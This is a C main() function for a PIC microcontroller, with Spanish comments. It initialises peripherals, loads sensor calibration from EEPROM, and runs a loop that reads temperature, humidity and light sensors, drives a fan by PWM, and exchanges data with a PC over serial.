void main() { //Configuraciones del PIC------------------------------------------------------- //Configuración de puertos... set_tris_A(0x0B); set_tris_B(0xFF); set_tris_C(0x80); set_tris_D(0x00); lcd_init(); dht_init(); //Parámetros del ADC... setup_adc(ADC_CLOCK_INTERNAL); //Reloj interno para conversiones setup_adc_ports(AN0_AN1_AN3); //Puertos usados como entradas //Parámetros para el PWM... setup_ccp1(CCP_PWM); //Módulo PWM activado setup_timer_2(T2_DIV_BY_4,249,1); //Onda de 4KHz //Parámetros de Timer0... setup_timer_0(RTCC_INTERNAL|RTCC_DIV_16); //4ms para desbordamiento //Interrupciones... enable_interrupts(INT_RB); //Interrupción puerto B enable_interrupts(INT_RTCC); //Interrupción Timer0 enable_interrupts(INT_RDA); //Interrupción RS-232 enable_interrupts(GLOBAL); //Análisis de la bandera... set_pwm1_duty(0); lcd_init(); if(read_eeprom(0x00) == 0) { //LM35-------------------------------------------------------------------------- bitRes1=read_eeprom(0x01); cadEnv1=read_eeprom(0x02); offSens1=(float)read_eeprom(0x03)/10.0; if(read_eeprom(0x04)==0) offSens1*=-1.0; //------------------------------------------------------------------------------ //RHT03------------------------------------------------------------------------- cadEnv2=read_eeprom(0x06); offSens2=(float)read_eeprom(0x07)/10.0; if(read_eeprom(0x08)==0) offSens2*=-1.0; //------------------------------------------------------------------------------ //LDR--------------------------------------------------------------------------- bitRes3=read_eeprom(0x0A); cadEnv3=read_eeprom(0x0B); offSens3=(float)read_eeprom(0x0C)/10.0; if(read_eeprom(0x0D)==0) offSens3*=-1.0; //------------------------------------------------------------------------------ //PWM--------------------------------------------------------------------------- pwmSens=read_eeprom(0x0F); threshold[0]=read_eeprom(0x10); threshold[1]=read_eeprom(0x11); threshold[2]=read_eeprom(0x12); threshold[3]=read_eeprom(0x13); //------------------------------------------------------------------------------ } //------------------------------------------------------------------------------ while(true){ //Al presionar aceptar o cancelar se limpia el display.------------------------- if(cls){ cls=false; lcd_init(); } //Lectura de los sensores------------------------------------------------------- if(readSens){ readSens=false; ReadSensData(); } //Muestra las lecturas o configuraciones en el display-------------------------- if(!enterConfig && !displayConfigs) ShowDisplay(); else if(displayConfigs && !enterConfig) ShowConfigs(); if(enterConfig){ if(selector==1) ConfigLM35(); else if(selector==2) ConfigRHT03(); else if(selector==3) ConfigLDR(); else if(selector==4) ConfigPWM(); } if(save==true){ save=false; SaveC(); } //Control del ventilador-------------------------------------------------------- FanRPM(); //Lectura del búfer------------------------------------------------------------- if(read){ ReadBuffer(); ExecCmd(); SaveC(); } //Envío a la PC----------------------------------------------------------------- if(sendData){ sendData=false; if(segs1==cadEnv1){ MakeNSendFrame(1); segs1=0; } if(segs2==cadEnv2){ MakeNSendFrame(2); segs2=0; } if(segs3==cadEnv3){ MakeNSendFrame(3); segs3=0; } }//End if sendData }//End while }